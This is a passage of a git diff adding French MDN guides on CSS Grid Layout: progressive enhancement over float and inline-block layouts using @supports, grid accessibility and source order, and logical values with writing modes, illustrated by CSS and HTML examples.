Si on réinitialise la largeur avec auto, on n'aura plus le résultat souhaité dans les anciens navigateurs. Il faut donc trouver un moyen de définir la largeur pour les anciens navigateurs et de supprimer la largeur quand le navigateur prend en charge les grilles CSS. Grâce aux requêtes de fonctionnalité CSS, on peut le faire directement en CSS.

+ +

Les requêtes de fonctionnalité ressemblent beaucoup aux requêtes de média qu'on utilise pour créer des dispositions adaptatives. Ici, plutôt que de vérifier la largeur de la zone d'affichage ou telle caractéristique du navigateur ou de l'appareil, on vérifie la prise en charge d'une propriété CSS avec une certaine valeur grâce à une règle {{cssxref("@supports")}}. À l'intérieur de cette requête, on peut écrire le CSS nécessaire pour obtenir la nouvelle disposition et retiré tout ce qui est nécessaire pour l'ancienne mise en forme.

+ +
@supports (display: grid) {
+  .wrapper {
+    // ajouter les règles qu'on souhaite
+    // pour les navigateurs qui prennent
+    // en charge les grilles
+  }
+}
+
+ +

La prise en charge des requêtes de fonctionnalité par les différents navigateurs est excellente. Tous les navigateurs qui prennent en charge la nouvelle spécification pour les grilles CSS supportent aussi les requêtes de fonctionnalité. On peut donc les utiliser pour résoudre le problème précédent pour améliorer la disposition flottante.

+ +

On utilise donc @supports pour vérifier la prise en charge de display: grid;, ensuite on indique que {{HTMLElement("ul")}} est le conteneur de la grille, on définit la largeur et {{cssxref("min-height")}} avec auto pour les éléments {{HTMLElement("li")}}. On retire également les marges, les marges négatives et on remplace l'espacement avec la propriété {{cssxref("grid-gap")}}. Cela signifie qu'il n'y aura pas de marge finale sur la dernière ligne de boîtes. La disposition fonctionne également  désormais lorsqu'une carte possède plus de contenu qu'une autre.

+ +
+ + +
.wrapper ul {
+    overflow: hidden;
+    margin: 0 -10px;
+    padding: 0;
+    list-style: none;
+}
+.wrapper li {
+    float: left;
+    width: calc(33.333333% - 20px);
+    margin: 0 10px 20px 10px;
+}
+@supports (display: grid) {
+  .wrapper ul {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-gap: 20px;
+    margin: 0;
+  }
+  .wrapper li {
+    width: auto;
+    min-height: auto;
+    margin: 0;
+  }
+}
+
+ +
<div class="wrapper">
+  <ul>
+    <li class="card">
+      <h2>Un</h2>
+      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+      <h2>Deux</h2>
+      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+      <h2>Trois</h2>
+      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+       <h2>Quatre</h2>
+       <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+       <h2>Cinq</h2>
+       <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+      <h2>Six</h2>
+      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+  </ul>
+</div>
+
+ +

{{EmbedLiveSample('enhancement_3', '550', '480')}}

+
+ +

Surcharger les autres valeurs pour display

+ +

Étant donné ces problèmes pour créer des grilles d'objets avec du flottement, il est probable que nous aurions choisi un autre méthode initialement, par exemple display: inline-block.

+ +

Là encore, on peut utiliser les requêtes de fonctionnalité pour surcharger display: inline-block. Ici aussi, il n'est pas nécessaire de tout surcharger. Pour les éléments concernés par inline-block, ils deviendront des objets de la grille et inline-block ne s'appliquera plus. Dans l'exemple qui suit, on utilise la propriété vertical-align sur les éléments lorsqu'on utilise le mode inline-block, cette propriété n'étant pas appliquée aux éléments d'une grille, elle est ignorée lorsque l'élément devient un objet de la grille.

+ +
+ + +
.wrapper ul {
+  margin: 0 -10px;
+  padding: 0;
+  list-style: none;
+}
+
+.wrapper li {
+  display: inline-block;
+  vertical-align: top;
+  width: calc(33.333333% - 20px);
+  margin: 0 10px 20px 10px;
+}
+@supports (display: grid) {
+  .wrapper ul {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-gap: 20px;
+    margin: 0;
+  }
+  .wrapper li {
+    width: auto;
+    margin: 0;
+  }
+}
+
+ +
<div class="wrapper">
+  <ul>
+    <li class="card">
+      <h2>Un</h2>
+      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+      <h2>Deux</h2>
+      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+      <h2>Trois</h2>
+      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+       <h2>Quatre</h2>
+       <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+       <h2>Cinq</h2>
+       <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+    <li class="card">
+      <h2>Six</h2>
+      <p>On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.</p>
+    </li>
+  </ul>
+</div>
+
+ +

{{EmbedLiveSample('enhancement_4', '500', '480')}}

+
+ +

Ici aussi, il faut reparamétrer la largeur de l'élément puis améliorer les autres propriétés. Dans cet exemple également on a utilisé grid-gap plutôt que des marges et des marges négatives pour créer les « gouttières ».

+ +

Comment la spécification gère-t-elle cette surcharge ?

+ +

La spécification sur les grilles CSS détaille comment on peu surcharger le comportement de certaines propriétés lorsqu'un élément devient un objet d'une grille. Les sections principales sur ce sujet sont :

+ + + +

Ce comportement est détaillé dans la spécification et on peut donc l'utiliser pour surcharger les règles utilisées pour les navigateurs qui ne prennent pas en charge les grilles CSS. Ce que nous avons appliqué n'est pas une bidouille, on tire simplement parti de l'interaction entre les différents modes de disposition, tel que décrit dans la spécification.

+ +

Les autres valeurs de display

+ +

Lorsqu'un élément possède un parent pour lequel display: grid, cet élément devient un bloc (cf. la specification). C'est pour cela que, pour l'élément qui utilisait inline-block, display: inline-block ne s'appliquait plus.

+ +

Si la disposition historique utilise display: table, un élément avec display: table-cell génèrera des boîtes anonymes. Aussi, si on utilise display: table-cell sans élément parent avec display-table, un tableau implicite sera créé autour des cellules adjacentes (comme si on a avait enveloppé le tout dans un div ou autre pour lequel on aurait défini display: table). Si on a un objet pour lequel display: table-cell et que, dans une requête de fonctionnalité, on utilise display: grid pour l'élément parent, il n'y aura plus de création de boîtes anonymes. Cela signifie qu'on peut surcharger display: table sans avoir ces boîtes anonymes supplémentaires.

+ +

Les éléments flottants

+ +

Comme nous l'avons déjà vu, {{cssxref("float")}}, ainsi que {{cssxref("clear")}} n'ont aucun effet sur un objet de grille. Il n'est donc pas nécessaire d'utiliser explicitement float: none sur les éléments.

+ +

L'alignement vertical

+ +

La propriété d'alignement {{cssxref("vertical-align")}} n'a aucun effet sur un objet d'une grille. Pour les dispositions qui utilisent display: inline-block ou display: table, la propriété vertical-align était utilisée pour réaliser des alignements basiques. Avec une disposition en grille, on peut utiliser les propriétés d'alignement des boîtes sur la grille, plus puissantes.

+ +

La disposition sur plusieurs colonnes

+ +

Il est aussi possible de partir d'une disposition sur plusieurs colonnes car les propriétés column-* ne s'appliquent pas sur un conteneur de grille.

+ +

Approfondir la question

+ + + +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité", "Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/css_grid_layout_and_accessibility/index.html b/files/fr/web/css/css_grid_layout/css_grid_layout_and_accessibility/index.html new file mode 100644 index 0000000000..6e2751382d --- /dev/null +++ b/files/fr/web/css/css_grid_layout/css_grid_layout_and_accessibility/index.html @@ -0,0 +1,124 @@ +--- +title: Les grilles CSS et l'accessibilité +slug: Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité +tags: + - Accessibilité + - CSS + - CSS Grids + - Grilles CSS + - Guide + - Intermédiaire +translation_of: Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility +--- +
{{CSSRef}}
+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive","Web/CSS/CSS_Grid_Layout")}}

+ +

Pour celles et ceux qui étaient présents aux premières lueurs du Web, les grilles CSS peuvent rappeler l'âge sombre où les tableaux HTML étaient utilisés pour la mise en forme des pages et où les cellules étaient utilisées pour diviser le contenu. Cette approche avait quelques avantages par rapport au positionnement CSS apparu après : on pouvait tirer parti de l'alignement et des colonnes créées dans un tableau. Il y a toutefois un inconvénient majeur : la mise en forme est fortement couplée à la structure du document, entraînant certains problèmes d'accessibilité. On pouvait par exemple découper le contenu dans le tableau afin d'obtenir la mise en forme souhaitée mais la structure de la page n'avait plus aucun sens lorsqu'elle était lue par un lecteur d'écran.

+ +

Aux débuts de CSS, on évoquait souvent CSS comme un outil pour séparer distinctement la mise en forme d'une part et le contenu du document d'autre part. L'objectif ultime était alors de pouvoir créer un document sémantique et structuré correctement puis appliquer une feuille de style CSS afin de créer la disposition voulue. Des sites tels que CSS Zen Garden montrent comment obtenir différents styles grâce à CSS à partir d'un même document HTML.

+ +

Les grilles CSS n'ont pas les mêmes problèmes que les tableaux : la structure de la grille est bien définie dans la feuille de style et pas dans le document. Si nécessaire, on peut ajouter un élément sans rôle sémantique. En théorie, une grille CSS nous aide à obtenir cette séparation conceptuelle entre la forme (le code CSS) et le sens (le document HTML) mais est-il possible d'aller trop loin avec cette idée ? Est-ce que les grilles CSS peuvent causer des problèmes d'accessibilité ?

+ +

Réordonner le contenu dans une grille CSS

+ +

Au fur et à mesure de ces articles, nous avons vu que les grilles CSS nous permettent de réordonner le contenu d'une page de différentes façons. On peut utiliser la propriété {{cssxref("order")}} afin de modifier la façon dont les éléments sont placés automatiquement sur la grille. On peut aussi utiliser grid-auto-flow: dense pour que les éléments ne suivent pas l'ordre du DOM afin de réduire les espaces laissés. On peut aussi positionner les éléments sur des lignes ou sur des zones définies, quel que soit leur emplacement dans la structure du document source.

+ +

La spécification contient une section qui aborde ce ré-ordonnancement et l'accessibilité. En introduction, on peut lire ce qui est attendu de la part des navigateurs lorsque le contenu est réordonné visuellement avec une grille CSS.

+ +
+

La disposition en grille fournit une grande flexibilité aux auteurs pour replacer le contenu du document. Toutefois, cette flexibilité ne doit pas être utilisée pour pallier à un ordre incorrect du document source. Les propriétés des grilles relatives à l'ordre et au placement n'ont pas d'effet quant aux médias non-visuels (tels que la parole). De la même façon, le ré-ordonnancement visuel des éléments sur la grille n'a pas d'effet sur l'ordre de parcours séquentiel par défaut du document (notamment utilisé pour la navigation au clavier ou le parcours des liens, cf. tabindex).

+
+ +

Si vous réordonnez les éléments du document grâce à une disposition sur une grille, cela ne changera pas l'ordre du contenu lu par un lecteur d'écran ou manipulé par un autre agent utilisateur. Cela ne modifiera pas non plus l'ordre des éléments lorsque ceux-ci sont parcourus au clavier. Une personne utilisant le clavier pourrait ainsi passer d'un coup de la partie haute de la grille à la partie basse si les liens ont été réordonnés.

+ +

La spécification prévient les auteurs (c'est-à-dire les développeurs web) et leur indique de ne pas appliquer ce ré-ordonnancement.

+ +
+

Les auteurs doivent utiliser les propriétés d'ordre et de placement uniquement pour des raisons visuelles et non pour réordonner logiquement le contenu. Les feuilles de style qui utilisent ces fonctionnalités afin de réordonner les éléments sur le plan logique ne sont pas considérées comme des feuilles de style conformes.

+
+ +

Quelles sont les implications pratiques lorsqu'on conçoit une disposition avec une grille ?

+ +

Un ré-ordonnancement visuel et non logique

+ +

La modification d'ordre appliquée par la grille (ou les boîtes flexibles) est uniquement visuelle. C'est toujours le document sous-jacent qui contrôle l'ordre utilisé par les agents utilisateur non-visuels. Voyons comment cela s'applique pour un exemple simple.

+ +

Dans cet exemple, on utilise une grille pour organiser un ensemble de boîtes qui contiennent des liens. On utilise les propriétés pour placer les éléments sur des lignes : la première boîte est placée sur la deuxième ligne. Visuellement, cette boîte apparaît désormais comme le quatrième élément de la liste. Mais si on utilise la touche tabulation pour naviguer au clavier parmi les liens, c'est toujours ce lien qui est en premier.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column: 1;
+  grid-row: 2;
+}
+
+ +
<div class="wrapper">
+  <div class="box box1"><a href="">Un</a></div>
+  <div class="box box2"><a href="">Deux</a></div>
+  <div class="box box3"><a href="">Trois</a></div>
+  <div class="box box4"><a href="">Quatre</a></div>
+  <div class="box box5"><a href="">Cinq</a></div>
+</div>
+
+ +

{{EmbedLiveSample('accessibility_1', '500', '330')}}

+
+ +

Pour ce scénario, la spécification indique que, si la boîte 1 doit logiquement être placée ici, il faut alors modifier le document source plutôt que de réordonner les éléments grâce à la grille.

+ +

Comment prendre en compte l'accessibilité avec une disposition en grille ?

+ +

On voit à partir de la spécification qu'il faut maintenir l'ordre logique du contenu. Quelle approche choisir pendant le développement afin de s'assurer de respecter l'accessibilité pour les utilisateurs et que ceux-ci puissent interagir correctement avec la page, quels que soient les outils utilisés ?

+ +
+
Démarrer avec un document structuré et accessible
+
Une disposition en grille ne doit pas nécessiter de changement dans la structure du document pour obtenir la disposition souhaitée. Aussi, pour commencer, le document qui forme la page doit être bien structuré et accessible. Comme indiqué dans la spécification, cette structure de base doit également fournir une bonne structure pour les petits écrans. Si un utilisateur fait défiler le site sur un appareil mobile, les éléments qu'il doit voir en premier sont généralement ceux qui sont au début du document dans la source.
+
Créer une grille adaptative correcte
+
Grâce à cette structure de base claire, on peut complexifier la disposition. Il est probable qu'on veuille ajouter des requêtes de média afin de créer des colonnes supplémentaires et gérer différentes tailles d'écran et différents appareils. Une grille peut s'avérer très utile pour déplacer les éléments qui étaient moins prioritaires sur mobile afin de construire la disposition d'un écran plus large. Une bonne stratégie consiste à tester chaque disposition, simplement en utilisant la navigation avec la touche tabulation : est-ce que cet ordre est pertinent ? est-ce qu'on ne passe pas d'un coup du haut en bas de la page ?
+
Revenir à la source
+
Si, pendant cette phase de conception, vous avez besoin de replacer un élément avec la grille, analysez s'il est nécessaire de replacer cet élément dans l'ordre logique du document. Les grilles CSS ont cela de pratique qu'elles permettent de déplacer un élément dans le document source sans qu'il soit nécessaire de modifier profondément les règles de style. C'est un atout considérable par rapport aux dispositions construites avec {{cssxref("float")}} où la structure et l'ordre du document jouaient un rôle fondamental. Cela demande toutefois de garder à l'esprit qu'il faut revenir à la source pour mettre à jour et maintenir l'ordre logique.
+
+ +

Les grilles et le risque d'aplatir le document à outrance

+ +

On peut rencontrer un autre problème avec les grilles CSS (et, dans une moindre mesure, avec les boîtes flexibles) : vouloir aplatir la structure du document. Comme nous avons pu le voir, pour qu'un objet appartienne à la grille, il faut que ce soit un fils direct du conteneur de la grille. Ainsi, si on place un élément {{HTMLElement("ul")}} dans une grille, c'est cet ul qui devient un objet de la grille, les éléments {{HTMLElement("li")}} qui en dépendent n'en sont pas.

+ +

Si la valeur subgrid est implémentée pour la propriété {{cssxref("display")}}, on pourra alors indiquer que ces fils participent à la grille en tant que sous-grille. Actuellement, la seule solution à notre disposition est d'utiliser display: contents afin que la boîte générée par l'élément ul disparaisse de la structure graphique. Pour plus d'informations à ce sujet, vous pouvez consulter l'article sur les liens entre les grilles et les autres méthodes de disposition et notamment la section sur display: contents.

+ +

Étant donné que la prise en charge de display: contents pour les différents navigateurs est actuellement limitée et que les sous-grilles n'existent pas encore, on peut être tenté d'aplatir la structure du document lorsqu'on utilise les grilles CSS pour créer la disposition d'un document. Par exemple, pour une liste, identifiée sémantiquement comme telle avec ul, on pourrait plutôt utiliser des éléments {{HTMLElement("div")}} qui seraient des éléments directement situés sous le conteneur qui a display: grid. Mieux vaut donc être conscient de cette tentation et construire un document sans détricoter la structure. En commençant par créer un document structuré, on se rend plus facilement compte de la sémantique perdue si on retire des éléments pour une simple question visuelle.

+ +

Approfondir la question

+ +

Il n'existe pas encore beaucoup de contenu relatif à l'accessibilité et au modèle de grille CSS. La plupart des problèmes rencontrés s'approchent de ceux qu'on rencontre avec les boîtes flexibles (qui permettent également de réordonner le contenu avec des propriétés comme {{cssxref("flex-direction")}} et {{cssxref("order")}}).

+ +

Le concept selon lequel l'ordre d'affichage des éléments doit suivre l'ordre des éléments dans le document est décrit dans WCAG Techniques for Success Criteria – Technique C27 (en anglais).

+ +

Pour construire votre réflexion sur ce sujet, je vous invite à lire Flexbox & the Keyboard Navigation Disconnect écrit par Léonie Watson. La vidéo de la présentation de Léonie à ffconf est aussi utile pour mieux comprendre comment les lecteurs d'écran utilisent la représentation visuelle des objets en CSS. Adrian Roselli a également publié un article sur l'ordre de la navigation au clavier dans les différents navigateurs bien que cet article ait été rédigé avant l'implémentation des grilles CSS dans Firefox.

+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html b/files/fr/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html new file mode 100644 index 0000000000..cbc0501498 --- /dev/null +++ b/files/fr/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html @@ -0,0 +1,452 @@ +--- +title: 'Les grilles CSS, les valeurs logiques et les modes d''écriture' +slug: >- + Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture +tags: + - CSS + - CSS Grids + - Grilles CSS + - Guides + - Intermédiaire +translation_of: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes' +--- +
{{CSSRef}}
+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité","Web/CSS/CSS_Grid_Layout")}}

+ +

Dans les articles précédents, nous avons évoqué un aspect important de la disposition en grille : la prise en charge des différents modes d'écriture. Dans ce guide, nous nous intéresserons plus particulièrement à cette fonctionnalité ainsi qu'aux autres méthodes modernes de disposition. Cela sera également l'occasion d'en apprendre plus sur les modes d'écritures et la notion de propriété logique/physique.

+ +

Les propriétés logiques, les propriétés physiques et les valeurs

+ +

CSS possède de nombreux mots-clés qui permettent de positionner physiquement les éléments : left, right, top, bottom… Si on positionne un élément de façon absolue, on utilisera ces mots-clés physiques comme valeurs pour indiquer le décalage de l'élément. Dans le fragment de code suivant, l'élément est décalé de 20 pixels depuis le haut du conteneur et de 30 pixels depuis le bord gauche du conteneur.

+ +
.container {
+  position: relative;
+}
+.item {
+  position: absolute;
+  top: 20px;
+  left: 30px;
+}
+
+ +
<div class="container">
+  <div class="item">Item</div>
+</div>
+
+ +

On rencontre également ces mots-clés physiques avec text-align: right afin d'aligner le texte à droite. Il existe aussi des propriétés physiques en CSS. On ajoute des marges, du remplissage, des bordures grâces à cs propriétés physiques comme {{cssxref("margin-left")}}, {{cssxref("padding-left")}}, etc.

+ +

On qualifie ces propriétés de physiques car elles concernent l'écran qu'on regarde : la gauche sera toujours la gauche, quelle que soit la direction du texte.

+ +

Cela peut devenir un problème lorsqu'on développe un site qui doit fonctionner avec plusieurs langues dont certaines sont écrites de droite à gauche et non de gauche à droite. Les navigateurs savent plutôt bien gérer les différentes directions d'écriture. Dans l'exemple qui suit, on a deux paragraphes. Pour le deuxième, aucune propriété {{cssxref("text-align")}} n'est utilisée, alors que pour le second, on utilise text-align avec left et on ajoute dir="rtl" sur l'élément HTML ce qui a pour effet de changer la direction d'écriture. On peut voir que, dans le second paragraphe, la direction change et le texte est écrit de droite à gauche. Dans le premier cependant, avec text-align value: left, l'alignement reste à gauche.

+ +

A simple example of text direction.

+ +

Cela illustre un problème fréquent avec les propriétés et valeurs physiques en CSS : elles empêchent le navigateur de passer correctement d'un mode d'écriture à l'autre.

+ +

Les propriétés et valeurs logiques

+ +

Les propriétés et les valeurs logiques n'émettent pas d'hypothèse quant à la direction du texte. C'est pour cette raison, qu'avec les grilles CSS, on utilise le mot-clé start lorsqu'on souhaite aligner quelque chose au début du conteneur. Quand on travaille en français ou en anglais, start correspondra à la gauche mais ce n'est pas nécessairement toujours le cas, start ne correspond pas à une position physique.

+ +

L'axe de bloc et l'axe en ligne

+ +

Lorsqu'on commence à travailler avec les propriétés logiques plutôt qu'avec les propriétés physiques, on cesse de voir le monde comme un espace qui va de gauche à droite et de haut en bas. Il faut de nouveaux axes de références : l'axe de bloc (block axis en anglais) et l'axe en ligne (inline axis). Le premier est l'axe orthogonal au sens d'écriture et le second est l'axe dans lequel on écrit. Ces axes logiques sont très utiles et on comprend mieux leurs rôles sur la grille.

+ +

An image showing the default direction of the Block and Inline Axes.

+ +

Les modes d'écriture CSS

+ +

Nous allons ici aborder une autre spécification que nous allons utiliser dans nos exemples : la spécification CSS sur les modes d'écriture (CSS Writing Modes). Cette spécification régit comment les différents modes d'écriture peuvent être utilisés en CSS, pas seulement pour prendre en charge différentes langues mais aussi pour créer des effets artistiques. Nous allons utiliser la propriété {{cssxref("writing-mode")}} afin de modifier le mode d'écriture appliqué à la grille pour observer comment fonctionnent les valeurs logiques. Si vous souhaitez approfondir ces notions autour des modes d'écriture, vous pouvez consulter l'article CSS Writing Modes (en anglais) écrit par Jen Simmons.

+ +

writing-mode

+ +

Les modes d'écriture ne se limitent pas à l'écriture de droite à gauche ou de gauche à droite, la propriété writing-mode nous permet d'afficher du texte dans plusieurs directions. La propriété {{cssxref("writing-mode")}} peut prendre les valeurs suivantes :

+ +
    +
  • horizontal-tb
    • +
  • vertical-rl
    • +
  • vertical-lr
    • +
  • sideways-rl
    • +
  • sideways-lr
    • +
+ +

Sur le Web, c'est la valeur horizontal-tb qui est la valeur par défaut pour le texte. C'est dans cette direction que vous lisez cet article. Les autres valeurs changeront la façon dont le texte est écrit sur le document et correspondent aux modes d'écriture utilisés dans d'autres langues. Dans l'exemple qui suit, on a deux paragraphes, le premier utilise la valeur par défaut horizontal-tb et le second utilise la valeur vertical-rl. Dans ce deuxième mode, le texte est toujours écrit de gauche à droite mais la direction du texte est verticale. Dans ce deuxième paragraphe, l'axe en ligne (inline) est donc l'axe vertical.

+ +
+ + +
<div class="wrapper">
+  <p style="writing-mode: horizontal-tb">Mon mode d'écriture est celui par défaut <code>horizontal-tb</code></p>
+  <p style="writing-mode: vertical-rl">Moi je suis écrit avec <code>vertical-rl</code></p>
+</div>
+
+ +

{{EmbedLiveSample('writing_1', '500', '420')}}

+
+ +

La gestion des modes d'écriture avec une grille

+ +

Si on reprend l'exemple avec la grille, on comprend mieux l'effet du changement du mode d'écriture qui change les axes logiques.

+ +

Dans le prochain exemple, la grille possède trois colonnes et deux lignes. Cela signifie qu'il y a trois pistes qui traversent l'axe de bloc. Avec le mode d'écriture par défaut, la grille commence par placer les objets en haut à gauche  en remplissant les trois cellules sur la première ligne avant de passer à la suivante, en formant une nouvelle ligne, etc.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Objet 1</div>
+  <div class="item2">Objet 2</div>
+  <div class="item3">Objet 3</div>
+  <div class="item4">Objet 4</div>
+  <div class="item5">Objet 5</div>
+</div>
+
+ +

{{EmbedLiveSample('writing_2', '500', '330')}}

+
+ +

Si on ajoute writing-mode: vertical-lr au conteneur de la grille, on peut voir que les axes logiques s'appliquent désormais dans une autre direction. L'axe de bloc (aussi appelé l'axe des colonnes pour la grille) s'étend maintenant de gauche à droite et l'axe en ligne court verticalement.

+ +
+ + +
.wrapper {
+  writing-mode: vertical-lr;
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Objet 1</div>
+  <div class="item2">Objet 2</div>
+  <div class="item3">Objet 3</div>
+  <div class="item4">Objet 4</div>
+  <div class="item5">Objet 5</div>
+</div>
+
+ +

{{EmbedLiveSample('writing_3', '500', '330')}}

+
+ +

A image showing the direction of Block and Inline when writing-mode is vertical-lr

+ +

L'utilisation de valeurs logiques pour l'alignement

+ +

Dans les exemples précédents, on a vu comment les axes de bloc et en ligne pouvaient changer de direction, nous allons voir maintenant comment tirer partir des valeurs logiques des propriétés d'alignement.

+ +

Dans le prochain exemple, on aligne des objets dans une grille pour laquelle writing-mode: vertical-lr. Les valeurs start et end fonctionnent de la même façon qu'avec le mode d'écriture par défaut mais, parce qu'elles sont logiques, on voit que la grille est bien renversée.

+ +
+ + +
.wrapper {
+  writing-mode: vertical-lr;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+  grid-gap: 10px;
+}
+
+.item1 {
+  grid-column: 1 / 4;
+  align-self: start;
+}
+
+.item2 {
+  grid-column: 1 / 3;
+  grid-row: 2 / 4;
+  align-self: start;
+}
+
+.item3 {
+  grid-column: 3;
+  grid-row: 2 / 4;
+  align-self: end;
+  justify-self: end;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Objet 1</div>
+  <div class="item2">Objet 2</div>
+  <div class="item3">Objet 3</div>
+</div>
+
+ +

{{EmbedLiveSample('writing_4', '500', '330')}}

+
+ +

Si vous souhaitez voir l'effet obtenu avec une écriture verticale de haut en bas et de droite à gauche, il suffit de passer de vertical-lr à vertical-rl pour changer de mode d'écriture.

+ +

Le placement automatique et les modes d'écriture

+ +

On a vu dans l'exemple précédent que lorsqu'on changeait de mode d'écriture, cela changeait également la direction selon laquelle les éléments étaient placés sur la grille. Par défaut, les éléments sont placés en progressant sur l'axe en ligne, jusqu'à la fin de la ligne, une nouvelle ligne est ensuite créée si besoin mais cette ligne ne progresse pas nécessairement de gauche à droite.

+ +

Le placement sur les lignes et les modes d'écriture

+ +

Il faut garder à l'esprit que lorsqu'on place des objets sur les lignes, la ligne 1 sera toujours la ligne de départ, quel que soit le mode d'écriture et la ligne -1 sera toujours la ligne de fin.

+ +

Dans l'exemple suivant, on a une grille avec la direction ltr et on positionne trois objets en utilisant le placement sur les lignes.

+ +
    +
  • L'objet 1 commence à la colonne 1 et occupe une piste
    • +
  • L'objet 2 commence à la colonne -1 et occupe -3 pistes
    • +
  • L'objet 3 commence à la colonne 1 et s'étend jusqu'à la troisième colonne.
    • +
+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+.item1 {
+  grid-column: 1 ;
+}
+.item2 {
+  grid-column: -1 / -3;
+}
+.item3 {
+  grid-column: 1 / 3;
+  grid-row: 2;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Objet 1</div>
+  <div class="item2">Objet 2</div>
+  <div class="item3">Objet 3</div>
+</div>
+
+ +

{{EmbedLiveSample('writing_5', '500', '330')}}

+
+ +

Si on ajoute alors la propriété {{cssxref("direction")}} avec la valeur rtl pour le conteneur de la grille, la colonne 1 sera la plus à droite et la colonne 1 sera à gauche.

+ +
+ + +
.wrapper {
+  direction: rtl;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+.item1 {
+  grid-column: 1 ;
+}
+.item2 {
+  grid-column: -1 / -3;
+}
+.item3 {
+  grid-column: 1 / 3;
+  grid-row: 2;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Objet 1</div>
+  <div class="item2">Objet 2</div>
+  <div class="item3">Objet 3</div>
+</div>
+
+ +

{{EmbedLiveSample('writing_6', '500', '330')}}

+
+ +

On voit ici que si on change la direction du texte pour la page ou pour une partie de la page : la disposition change selon lees numéros de lignes. Si on ne veut pas que les lignes bougent, on pourra utiliser des lignes nommées pour éviter cet effet.

+ +

L'étrange ordre des valeurs pour grid-area

+ +

La propriété {{cssxref("grid-area")}} permet d'indiquer les quatre lignes qui définissent une zone. Lorsqu'on apprend à utiliser cette propriété, on se surprend à voir que les quatre valeurs ne suivent pas le même ordre que celui utilisé par les propriétés raccourcies pour les marges (pour celles-ci, les valeurs suivent le sens horaire : haut, droit, bas, gauche).

+ +

Pour les valeurs de grid-area, l'ordre est le suivant :

+ +
    +
  • grid-row-start
    • +
  • grid-column-start
    • +
  • grid-row-end
    • +
  • grid-column-end
    • +
+ +

Si on transpose ces valeurs à un système d'écriture de gauche à droite, cela correspond aux valeurs physiques suivantes :

+ +
    +
  • top
    • +
  • left
    • +
  • bottom
    • +
  • right
    • +
+ +

Ce qui correspond… au sens anti-horaire ! L'ordre est l'inverse de celui utilisé pour les marges et le remplissage. Pour comprendre, mieux vaut voir la propriété grid-area comme une propriété logique qui fonctionne selon les axes de bloc et en ligne : on commence donc avec les deux lignes de départ puis les deux lignes d'arrivée. Cet ordre est plus « logique » !

+ +

Utiliser des modes d'écriture hybrides et les grilles CSS

+ +

Les modes d'écritures permettent d'afficher les documents en respectant les règles d'affichage de la langue utilisé. On peut également les utiliser afin de créer des effets stylistiques. Dans l'exemple ci-après, on a une grille avec du texte et des liens qui seront affichés verticalement, à côté du texte.

+ +
+
.wrapper {
+  display: grid;
+  grid-gap: 20px;
+  grid-template-columns: 1fr auto;
+  font: 1em Helvetica, Arial, sans-serif;
+}
+.wrapper nav {
+  writing-mode: vertical-lr;
+}
+.wrapper ul {
+  list-style: none;
+  margin: 0;
+  padding: 1em;
+  display: flex;
